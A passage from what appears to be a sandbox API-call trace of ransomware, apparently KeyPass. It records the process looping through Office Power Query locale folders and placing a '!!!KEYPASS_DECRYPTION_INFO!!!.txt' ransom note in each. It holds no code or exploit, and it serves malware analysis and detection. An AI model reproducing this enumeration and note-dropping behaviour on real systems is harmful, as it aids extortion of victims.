pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fil\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.864] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fil\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.865] GetFileType (hFile=0x1134) returned 0x1 [0272.866] CloseHandle (hObject=0x1134) returned 1 [0272.866] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.866] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.866] GetLastError () returned 0x3f0 [0272.866] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.866] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.867] GetFileType (hFile=0x1138) returned 0x1 [0272.867] CloseHandle (hObject=0x1138) returned 1 [0272.868] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.868] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.868] GetLastError () returned 0x3f0 [0272.868] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ga\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ga\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.868] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ga\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.869] GetFileType (hFile=0x113c) returned 0x1 [0272.869] CloseHandle (hObject=0x113c) returned 1 [0272.869] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.869] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.869] GetLastError () returned 0x3f0 [0272.870] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gd\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gd\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.870] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gd\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.870] GetFileType (hFile=0x1140) returned 0x1 [0272.871] CloseHandle (hObject=0x1140) returned 1 [0272.871] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.871] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.871] GetLastError () returned 0x3f0 [0272.871] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.871] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.872] GetFileType (hFile=0x1144) returned 0x1 [0272.873] CloseHandle (hObject=0x1144) returned 1 [0272.873] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.873] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.873] GetLastError () returned 0x3f0 [0272.873] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gu\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.873] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.874] GetFileType (hFile=0x1148) returned 0x1 [0272.875] CloseHandle (hObject=0x1148) returned 1 [0272.875] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.875] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.875] GetLastError () returned 0x3f0 [0272.875] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.875] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.876] GetFileType (hFile=0x1150) returned 0x1 [0272.877] CloseHandle (hObject=0x1150) returned 1 [0272.877] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.877] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.877] GetLastError () returned 0x3f0 [0272.877] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.877] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.878] GetFileType (hFile=0x1154) returned 0x1 [0272.879] CloseHandle (hObject=0x1154) returned 1 [0272.879] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.879] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.879] GetLastError () returned 0x3f0 [0272.879] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.879] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.880] GetFileType (hFile=0x1158) returned 0x1 [0272.881] CloseHandle (hObject=0x1158) returned 1 [0272.881] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.881] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.881] GetLastError () returned 0x3f0 [0272.881] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.881] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.882] GetFileType (hFile=0x115c) returned 0x1 [0272.883] CloseHandle (hObject=0x115c) returned 1 [0272.883] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.883] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.883] GetLastError () returned 0x3f0 [0272.883] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hy\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hy\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.883] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hy\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.884] GetFileType (hFile=0x1160) returned 0x1 [0272.885] CloseHandle (hObject=0x1160) returned 1 [0272.885] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.885] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.885] GetLastError () returned 0x3f0 [0272.885] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.885] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.886] GetFileType (hFile=0x1164) returned 0x1 [0272.887] CloseHandle (hObject=0x1164) returned 1 [0272.887] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.888] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.888] GetLastError () returned 0x3f0 [0272.888] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\is\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\is\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.888] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\is\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.888] GetFileType (hFile=0x1168) returned 0x1 [0272.889] CloseHandle (hObject=0x1168) returned 1 [0272.889] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.889] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.889] GetLastError () returned 0x3f0 [0272.889] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.889] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.999] GetFileType (hFile=0x116c) returned 0x1 [0273.000] CloseHandle (hObject=0x116c) returned 1 [0273.002] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.002] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.002] GetLastError () returned 0x3f0 [0273.002] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.002] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.011] GetFileType (hFile=0x114c) returned 0x1 [0273.012] CloseHandle (hObject=0x114c) returned 1 [0273.012] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.012] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.012] GetLastError () returned 0x3f0 [0273.012] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ka\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ka\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.012] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ka\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.013] GetFileType (hFile=0x1170) returned 0x1 [0273.014] CloseHandle (hObject=0x1170) returned 1 [0273.014] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.014] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.014] GetLastError () returned 0x3f0 [0273.014] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.014] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.015] GetFileType (hFile=0x1174) returned 0x1 [0273.016] CloseHandle (hObject=0x1174) returned 1 [0273.016] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.016] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.016] GetLastError () returned 0x3f0 [0273.016] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\km\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\km\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.016] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\km\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.020] GetFileType (hFile=0x117c) returned 0x1 [0273.020] CloseHandle (hObject=0x117c) returned 1 [0273.021] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.021] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.021] GetLastError () returned 0x3f0 [0273.021] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kn\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kn\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.021] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kn\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.022] GetFileType (hFile=0x1180) returned 0x1 [0273.022] CloseHandle (hObject=0x1180) returned 1 [0273.022] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.022] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.023] GetLastError () returned 0x3f0 [0273.023] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.023] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.024] GetFileType (hFile=0x1184) returned 0x1 [0273.025] CloseHandle (hObject=0x1184) returned 1 [0273.025] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.025] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.025] GetLastError () returned 0x3f0 [0273.025] PathAppendW 